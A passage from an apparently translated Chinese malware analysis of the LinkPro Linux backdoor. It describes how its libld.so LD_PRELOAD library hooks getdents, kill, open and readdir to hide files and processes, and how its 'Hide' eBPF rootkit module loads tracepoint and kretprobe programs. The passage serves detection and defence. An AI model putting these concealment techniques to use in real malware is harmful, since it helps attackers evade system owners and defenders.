&#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">![LinkPro internal port detection netstat vs ss](<a href="https://www.synacktiv.com/sites/default/files/inline-images/netstatss.webp)" target="_blank">https://www.synacktiv.com/sites/default/files/inline-images/netstatss.webp)</a></span><br/><span leaf="">LinkPro 内部端口检测: netstat 与 ss 对比</span></code></pre></p></li><li style="margin: 15px 0px;"><p><span leaf="">此外,在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ss</span></code><span leaf="">命令的输出中 ( 即便附带 -p 参数 ) 也看不到 </span><strong><span leaf="">LinkPro</span></strong><span leaf="">进程名,这要归功于下文将介绍的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getdents</span></code><span leaf="">hook。</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getdents</span></code><p><span leaf="">与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getdents64</span></code><span leaf="">: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getdents</span></code><span leaf="">系统调用用于列出目录中的文件。在这里,</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">会先调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">getdents</span></code><span leaf="">,然后检查是否存在:</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">文件名中包含关键字 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data</span></code><span leaf="">( 即 </span><strong><span leaf="">Linkpro</span></strong><span leaf="">后门 ) 、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sshids</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ld.so.preload</span></code><span leaf="">的条目。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">命令行中包含关键字 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data.</span></code><span leaf="">的进程目录 ( 即 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/proc/</span></code><span leaf="">下以 PID 命名的目录 ) 。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">一旦找到,该 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dirent</span></code><span leaf="">条目就会被下一条记录覆盖。</span><pre style="margin: 15px 0px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">![Overwriting the dirent entry of the file to be hidden](<a href="https://www.synacktiv.com/sites/default/files/inline-images/libld_getdents.webp)" target="_blank">https://www.synacktiv.com/sites/default/files/inline-images/libld_getdents.webp)</a></span><br/><span leaf="">覆盖待隐藏文件的 dirent 条目</span></code></pre></p></li><li style="margin: 15px 0px;"><p><span leaf="">注: 符号 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">toyincang</span></code><span leaf="">与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">toyincanglib</span></code><span leaf="">分别对应关键字 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">。</span><em style="margin-bottom: 0px;"><span leaf="">&#34;toyincang&#34;</span></em><span leaf="">在中文拼音中可以理解为&#34;偷隐藏&#34;,即&#34;藏匿&#34;之意。</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kill</span></code><p><span leaf="">: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kill</span></code><span leaf="">系统调用用于向进程发送信号,以目标 PID 作为参数。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">实现的 hook 会检查目标进程的命令行 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/proc/&lt;pid&gt;/cmdline</span></code><span leaf="">) ,看是否包含关键字 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data</span></code><span leaf="">( 即 </span><strong><span leaf="">Linkpro</span></strong><span leaf="">后门 ) 。一旦命中,libc 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kill</span></code><span leaf="">函数将不会被调用。</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">open</span></code><p><span leaf="">与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">open64</span></code><span leaf="">: 如果进程尝试打开名为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ld.so.preload</span></code><span leaf="">的文件,则会返回 </span><em style="margin-bottom: 0px;"><span leaf="">&#34;No Such File Or Directory&#34;</span></em><span leaf="">( 无此文件或目录 ) 错误。</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">readdir</span></code><p><span leaf="">与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">readdir64</span></code><span leaf="">: </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">的 </span><em><span leaf="">hook</span></em><span leaf="">会先调用合法的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">readdir</span></code><span leaf="">函数 ( 用于列出目录中的文件 ) ,然后检查是否存在:</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">文件名中包含关键字 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sshids</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ld.so.preload</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.system</span></code><span leaf="">( 持久化机制启用后用于存放 </span><strong style="margin-bottom: 0px;"><span leaf="">LinkPro</span></strong><span leaf="">的目录 ) 的条目。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">命令行中包含关键字 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.tmp~data.</span></code><span leaf="">的进程目录 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/proc/</span></code><span leaf="">下以 PID 命名的目录 ) 。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">一旦命中,</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">readdir</span></code><em style="margin-bottom: 0px;"><span leaf="">hook</span></em><span leaf="">将返回空结果。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">下图展示了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">的效果。这里指定 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">-ebpf 0</span></code><span leaf="">命令行参数以显式禁用 &#34;Hide&#34; 模块,从而启用 </span><em><span leaf="">LD Preload</span></em><span leaf="">库作为替代。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012297" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=95a20e04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSj4nYF4yqP07IFk28CiaHom948QFbdZ7Mb6fibfhGpaahHdFfvNrLBNMb9ULichwGiccHiasZ36pLqPKE7YYfm421Ux2z0XO7vGGCQ8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">libld.so 加载示例</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">总而言之,</span><strong><span leaf="">LinkPro</span></strong><span leaf="">加载 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">的目的,是要让其他动态链接程序看不到 </span><strong><span leaf="">LinkPro</span></strong><span leaf="">后门以及 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libld.so</span></code><span leaf="">自身的网络痕迹 ( 侦听端口或目的端口 ) 和文件系统痕迹。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">&#34;Hide&#34; eBPF 模块</span></h3><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">SHA256</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164</span></code></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">文件类型</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">ELF 64-bit LSB relocatable, eBPF</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">文件大小</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">36224 bytes</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">威胁</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Linux eBPF Rootkit</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">&#34;Hide&#34; 模块由若干属于 </span><em><span leaf="">Tracepoint</span></em><span leaf="">和 </span><em><span leaf="">Kretprobe</span></em><span leaf="">类型的 eBPF 程序组成。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Tracepoint 类型的 eBPF 程序15 会附加到 Linux 内核所定义的静态 tracepoint 上。这些 tracepoint 被预先布置在内核代码中的特定位置,例如系统调用、内存分配、任务调度等。其中,系统调用相关的 tracepoint 通常位于其入口 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tracepoint/syscalls/sys_enter_syscall</span></code><span leaf="">) 或出口 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tracepoint/syscalls/sys_exit_syscall</span></code><span leaf="">) 。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Kprobes16 ( </span><em><span leaf="">Kernel Probes</span></em><span leaf="">,内核探针 ) 允许将 eBPF 程序附加到内核中几乎任意函数的入口点。Kretprobes 则在函数返回时被触发,使得能够拦截并修改某次系统调用的结果。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">LinkPro</span></strong><span leaf="">rootkit 安装这些 eBPF 程序,并利用它们的能力来隐藏自身的进程和网络活动。</span></p><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">&#34;Hide&#34; 模块的安装</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">首先,</span><strong><span leaf="">LinkPro</span></strong><span leaf="">使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ebpf-go</span></code><span leaf="">模块17 将内嵌的 </span><em><span leaf="">&#34;Hide&#34;</span></em><span leaf="">ELF 模块解析为一个特定对象 ( </span><em><span leaf="">CollectionSpec</span></em><span leaf="">) 。Hide 模块的各类 eBPF 对象 ( 即 maps18 和 programs19 ) 随后会被加载到内存中。其中,maps 是一种可在多个程序之间共享的数据结构。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">LinkPro</span></strong><span leaf="">会向 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">pids_to_hide_map</span></code><span leaf="">这张 map 中写入自己当前的 PID ( 进程 ID ) ,以及命令行参数 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">-pid</span></code><span leaf="">参数 ) 中所指定的 PID 列表。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">LinkPro</span></strong><span leaf="">还会更新 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">main_ebpf_progs</span></code><span leaf="">这张 map,加入由 LinkPro 加载的 eBPF 程序 ( &#34;Hide&#34; 与 &#34;Knock&#34; 模块 ) 的文件描述符 ( FD ) 。</span></p><p 